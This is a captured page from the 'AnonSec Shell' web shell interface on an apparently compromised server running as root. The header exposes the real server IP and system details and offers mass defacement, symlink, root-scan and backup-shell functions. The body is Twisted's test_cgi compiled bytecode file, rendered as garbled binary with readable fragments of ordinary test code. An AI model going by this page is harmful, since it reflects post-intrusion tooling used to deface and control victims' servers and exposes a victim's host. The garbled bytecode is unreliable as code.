AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/twisted/web/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/twisted/web/test/__pycache__/test_cgi.cpython-310.pyc
o

�b;�@sTdZddlZddlZddlZddlmZddlmZmZm	Z	m
Z
ddlmZddl
mZmZmZddlmZddlmZmZmZmZmZmZdd	lmZmZdd
lmZddlm Z m!Z!dZ"d
Z#dZ$dZ%dZ&dZ'dZ(dZ)dZ*Gdd�dej+�Z,Gdd�d�Z-Gdd�de-ej.�Z/Gdd�de-ej.�Z0Gdd�dej.�Z1Gdd �d ej.�Z2d!d"�Z3dS)#z!
Tests for L{twisted.web.twcgi}.
�N)�BytesIO)�address�error�
interfaces�reactor)�ConnectionLost)�failure�log�util)�unittest)�client�http�http_headers�resource�server�twcgi)�INTERNAL_SERVER_ERROR�	NOT_FOUND)�_render)�DummyChannel�DummyRequestz2print("Header: OK")
print("")
print("cgi output")
zJprint("Header: spam")
print("Header: eggs")
print("")
print("cgi output")
z+print("XYZ")
print("")
print("cgi output")
zPprint("Server: monkeys")
print("Date: last year")
print("")
print("cgi output")
a&# This is an example of a correctly-written CGI script which reads a body
# from stdin, which only reads env['CONTENT_LENGTH'] bytes.

import os, sys

body_length = int(os.environ.get('CONTENT_LENGTH',0))
indata = sys.stdin.read(body_length)
print("Header: OK")
print("")
print("readinput ok")
a+# This is an example of the typical (incorrect) CGI script which expects
# the server to close stdin when the body of the request is complete.
# A correct CGI should only read env['CONTENT_LENGTH'] bytes.

import sys

indata = sys.stdin.read()
print("Header: OK")
print("")
print("readallinput ok")
zMprint("content-type: text/cgi-duplicate-test")
print("")
print("cgi output")
z�import json
import os
print("")
print("")
vals = {x:y for x,y in os.environ.items() if x.startswith("HTTP_")}
print(json.dumps(vals))
zkimport cgi
fs = cgi.FieldStorage()
param = fs.getvalue("param")
print("Header: OK")
print("")
print(param)
c@seZdZejZdS)�PythonScriptN)�__name__�
__module__�__qualname__�sys�
executable�filter�rr�;/usr/lib/python3/dist-packages/twisted/web/test/test_cgi.pyrcs
rc@s$eZdZdd�Zdd�Zdd�ZdS)�_StartServerAndTearDownMixincCsHt��}t�t|�}|�dt|��t�|�}t	�
d|�|_|j��j
S)Nscgir)r�Resourcer
�sibpath�__file__�putChildrr�Siter�	listenTCP�p�getHost�port)�self�cgi�root�cgipath�siterrr�startServerhs
z(_StartServerAndTearDownMixin.startServercCst|dd�r|j��SdS)Nr')�getattrr'�
stopListening�r*rrr�tearDownps
�z%_StartServerAndTearDownMixin.tearDowncCsJtj�|���}t|d��}|�|�Wd�|S1swY|S)N�wt)�os�path�abspath�mktemp�open�write)r*�source�cgiFilename�cgiFilerrr�writeCGIts
��z%_StartServerAndTearDownMixin.writeCGIN)rrrr/r3r>rrrrr gsr c@s�eZdZdZej�e�sdZdd�Z	dd�Z
dd�Zd	d
�Zdd�Z
d
d�Zdd�Zdd�Zde_dd�Zdd�Zde_dd�Zdd�Zde_dd�Zdd�Zd S)!�CGITestsz,
    Tests for L{twcgi.FilteredScript}.
    z5CGI tests require a functional reactor.spawnProcess()cCsV|�t�}|�|�}d|f}|�d�}t�t��d|�}|�tj	�|�|j
�|S)N�http://localhost:%d/cgi�ascii�GET)r>�	DUMMY_CGIr/�encoder�Agentr�request�addCallback�readBody�
_testCGI_1)r*r<�portnum�url�drrr�test_CGI�s



zCGITests.test_CGIcCs|�|dtj�d��dS)Ns
cgi outputrA)�assertEqualr5�lineseprD)r*�resrrrrI��zCGITests._testCGI_1c�b��t�}��|�}d|f}|�d�}t�t�}|�d|�}|�t	��fdd�}|�|�|S)zc
        If the CGI script emits a I{Server} or I{Date} header, these are
        ignored.
        r@rArBcs,��d|j�d����d|j�d��dS)N�monkeysrz	last year�date)�assertNotIn�headers�
getRawHeaders��responser2rr�
checkResponse�sz;CGITests.test_protectedServerAndDate.<locals>.checkResponse)
r>�SPECIAL_HEADER_CGIr/rDrrErrFrG�discardBody�r*r<rJrK�agentrLrZrr2r�test_protectedServerAndDate�s






z$CGITests.test_protectedServerAndDatecrR)z�
        If the CGI script emits a I{content-type} header, make sure that the
        server doesn't add an additional (duplicate) one, as per ticket 4786.
        r@rArBcs��|j�d�dg�|S)Nzcontent-typeztext/cgi-duplicate-test�rNrVrWrXr2rrrZ�s

�zBCGITests.test_noDuplicateContentTypeHeaders.<locals>.checkResponse)
r>�$NO_DUPLICATE_CONTENT_TYPE_HEADER_CGIr/rDrrErrFrGr\r]rr2r�"test_noDuplicateContentTypeHeaders�s






z+CGITests.test_noDuplicateContentTypeHeaderscs|��t�}��|�}d|f}|�d�}t�t�}t�dgdgd��}|j	d||d�}�fdd	�}|�
tj�|�
|�|S)
zV
        The CGI script is never called with the Proxy header passed through.
        r@rAsfoosbar)sProxysX-Innocent-HeaderrB)rVcs,t�|�d��}��t|���hd��dS)NrA>�	HTTP_HOST�HTTP_CONNECTION�HTTP_X_INNOCENT_HEADER)�json�loads�decoderN�set�keys)rYrVr2rrrZ�s

�z7CGITests.test_noProxyPassthrough.<locals>.checkResponse)r>�HEADER_OUTPUT_CGIr/rDrrErr�HeadersrFrGrH)r*r<rJrKr^rVrLrZrr2r�test_noProxyPassthrough�s




�
z CGITests.test_noProxyPassthroughcrR)zp
        If a CGI script emits two instances of the same header, both are sent
        in the response.
        r@rArBcs��|j�d�ddg�dS)N�header�spam�eggsr`rXr2rrrZ�rQz7CGITests.test_duplicateHeaderCGI.<locals>.checkResponse)
r>�DUAL_HEADER_CGIr/rDrrErrFrGr\r]rr2r�test_duplicateHeaderCGI�s






z CGITests.test_duplicateHeaderCGIcs���t�}��|�}d|f}|�d�}t�t�}|�d|�}|�t	�g��fdd�}t
�|���t
j
|���fdd�}|�|�|S)zF
        Check for the error message in the duplicated header
        r@rArBcs��t�|��dS�N)�appendr	�textFromEventDict)�	eventDict)�loggedMessagesrr�
addMessage�sz4CGITests.test_malformedHeaderCGI.<locals>.addMessagecs��dtd���dS)Nzignoring malformed CGI header: sXYZ)�assertIn�repr��ignored�rwr*rrrZs�z7CGITests.test_malformedHeaderCGI.<locals>.checkResponse)r>�BROKEN_HEADER_CGIr/rDrrErrFrGr\r	�addObserver�
addCleanup�removeObserver)r*r<rJrKr^rLrxrZrr}r�test_malformedHeaderCGI�s







z CGITests.test_malformedHeaderCGIcCs�tj�|���}t|d��
}|�t�Wd�n1swY|�|�}t�	t
�}d|f}|�d�}|�d|�}|�
tj�|�
|j�|S)Nr4r@rArB)r5r6r7r8r9r:�
READINPUT_CGIr/rrErrDrFrGrH�_test_ReadEmptyInput_1�r*r<r=rJr^rKrLrrr�test_ReadEmptyInput
s�



zCGITests.test_ReadEmptyInput�cC�&dtj��}|�d�}|�||�dS�Nzreadinput okrA�r5rOrDrN�r*rP�expectedrrrr��
zCGITests._test_ReadEmptyInput_1cCs�tj�|���}t|d��
}|�t�Wd�n1swY|�|�}t�	t
�}d|f}|�d�}|j|dt�
td��d�}|�tj�|�|j�|S�Nr4r@rAsPOSTsHere is your stdin)�uri�method�bodyProducer)r5r6r7r8r9r:r�r/rrErrDrF�FileBodyProducerrrGrH�_test_ReadInput_1r�rrr�test_ReadInputs �



�zCGITests.test_ReadInputcCr�r�r�r�rrrr�3r�zCGITests._test_ReadInput_1cCs�tj�|���}t|d��
}|�t�Wd�n1swY|�|�}d|f}|�d�}t	�
t�j|dt	�
td��d�}|�t	j�|�|j�|Sr�)r5r6r7r8r9r:�READALLINPUT_CGIr/rDrrErrFr�rrGrH�_test_ReadAllInput_1)r*r<r=rJrKrLrrr�test_ReadAllInput8s�



�zCGITests.test_ReadAllInputcCr�)Nzreadallinput okrAr�r�rrrr�Kr�zCGITests._test_ReadAllInput_1cCsXGdd�d�}|�}tddg�}t�ddd�|_tjd|d	�}t||�|�|j�d
S)zw
        L{twcgi.FilteredScript.runProcess} uses the reactor passed as an
        argument to the constructor.
        c@seZdZdZdZdd�ZdS)z5CGITests.test_useReactorArgument.<locals>.FakeReactorzR
            A fake reactor recording whether spawnProcess is called.
            Fc_s
d|_dS)z�
                Set the C{called} flag to C{True} if C{spawnProcess} is called.

                @param args: Positional arguments.
                @param kwargs: Keyword arguments.
                TN)�called)r*�args�kwargsrrr�spawnProcess]s
zBCGITests.test_useReactorArgument.<locals>.FakeReactor.spawnProcessN)rrr�__doc__r�r�rrrr�FakeReactorVsr��a�b�TCP�	127.0.0.1�90z
dummy-file�rN)	rr�IPv4Addressrr�FilteredScriptr�
assertTruer�)r*r��fakeReactorrFrrrr�test_useReactorArgumentPs
z CGITests.test_useReactorArgumentN)rrrr�r�IReactorProcess�
providedByr�skiprMrIr_rbrmrrr�r��timeoutr�r�r�r�r�r�rrrrr?{s*r?c@s(eZdZdZdd�Zdd�Zdd�ZdS)	�CGIScriptTestsz'
    Tests for L{twcgi.CGIScript}.
    cCsP|�t�}|�|�}d|f}t�t�}|�d|�}|�tj�|�|j	�|S)zk
        If the CGI script is passed URL parameters, do not fall over,
        as per ticket 9887.
        s"http://localhost:%d/cgi?param=1234rB)
r>�URL_PARAMETER_CGIr/rrErrFrGrH�_test_urlParameters_1)r*r<rJrKr^rLrrr�test_urlParametersts



z!CGIScriptTests.test_urlParameterscCr�)N�1234rAr�r�rrrr��r�z$CGIScriptTests._test_urlParameters_1cCsbGdd�d�}|�}tj|��|d�}tddg�}t�ddd�|_t||�|�|j	d	d
�dS)zt
        L{twcgi.CGIScript.render} sets the process environment
        I{PATH_INFO} from the request path.
        c@seZdZdZdd�ZdS)z1CGIScriptTests.test_pathInfo.<locals>.FakeReactorzZ
            A fake reactor recording the environment passed to spawnProcess.
            cSs
||_dS)a9
                Store the C{env} L{dict} to an instance attribute.

                @param process: Ignored
                @param filename: Ignored
                @param args: Ignored
                @param env: The environment L{dict} which will be stored
                @param wdir: Ignored
                N)�process_env)r*�process�filenamer��env�wdirrrrr��s

z>CGIScriptTests.test_pathInfo.<locals>.FakeReactor.spawnProcessN)rrrr�r�rrrrr��sr�r�r�r�r�r�r��	PATH_INFOz/a/bN)
r�	CGIScriptr8rrr�rrrNr�)r*r��_reactorrrFrrr�
test_pathInfo�s
zCGIScriptTests.test_pathInfoN)rrrr�r�r�r�rrrrr�os
r�c@� eZdZdZdd�Zdd�ZdS)�CGIDirectoryTestsz*
    Tests for L{twcgi.CGIDirectory}.
    cs>t�����}tdg��t|��}��fdd�}|�|�|S)zc
        L{twcgi.CGIDirectory.render} sets the HTTP response code to I{NOT
        FOUND}.
        �c����jt�dSrs�rN�responseCoderr{�rFr*rr�
cbRendered��z1CGIDirectoryTests.test_render.<locals>.cbRendered)r�CGIDirectoryr8rrrG)r*rrLr�rr�r�test_render�s


zCGIDirectoryTests.test_rendercsX���}t�|�t�|�}tdg��|�d��}t|��}��fdd�}|�|�|S)a
        L{twcgi.CGIDirectory.getChild} returns a resource which renders an
        response with the HTTP I{NOT FOUND} status code if the indicated child
        does not exist as an entry in the directory used to initialized the
        L{twcgi.CGIDirectory}.
        �foocr�rsr�r{r�rrr��r�z8CGIDirectoryTests.test_notFoundChild.<locals>.cbRendered)	r8r5�makedirsrr�r�getChildrrG)r*r6r�childrLr�rr�r�test_notFoundChild�s




z$CGIDirectoryTests.test_notFoundChildN)rrrr�r�r�rrrrr��sr�c@r�)�CGIProcessProtocolTestsz0
    Tests for L{twcgi.CGIProcessProtocol}.
    cCs:tdg�}t�|�}|�t�t����|�|j	t
�dS)z�
        If the process communicating with L{CGIProcessProtocol} ends before
        finishing writing out headers, the response has I{INTERNAL SERVER
        ERROR} as its status code.
        r�N)rr�CGIProcessProtocol�processEndedr�Failurer�ProcessTerminatedrNr�r)r*rF�protocolrrr�test_prematureEndOfHeaders�s

z2CGIProcessProtocolTests.test_prematureEndOfHeaderscCsHt�}t�|d�}t�|�}|�t�td���|�	t�t
����dS)zg
        Ensure that the CGI process ends cleanly when the request connection
        is lost.
        TzConnection doneN)rr
�Requestrr��connectionLostrr�rr�rr�)r*rLrFr�rrr�test_connectionLost�s

z+CGIProcessProtocolTests.test_connectionLostN)rrrr�r�r�rrrrr��sr�cst�����fdd��S)zn
    Discard the body of a HTTP response.

    @param response: The response.

    @return: The response.
    cs�Srsr)�_rXrr�<lambda>�szdiscardBody.<locals>.<lambda>)rrHrGrXrrXrr\�sr\)4r�rfr5r�ior�twisted.internetrrrr�twisted.internet.errorr�twisted.pythonrr	r
�
twisted.trialr�twisted.webrr
rrrr�twisted.web.httprr�twisted.web.test._utilr�twisted.web.test.requesthelperrrrCrqr~r[r�r�rarkr�r�rr �TestCaser?r�r�r�r\rrrr�<module>s< 

	
u8)

Anon7 - 2022
AnonSec Team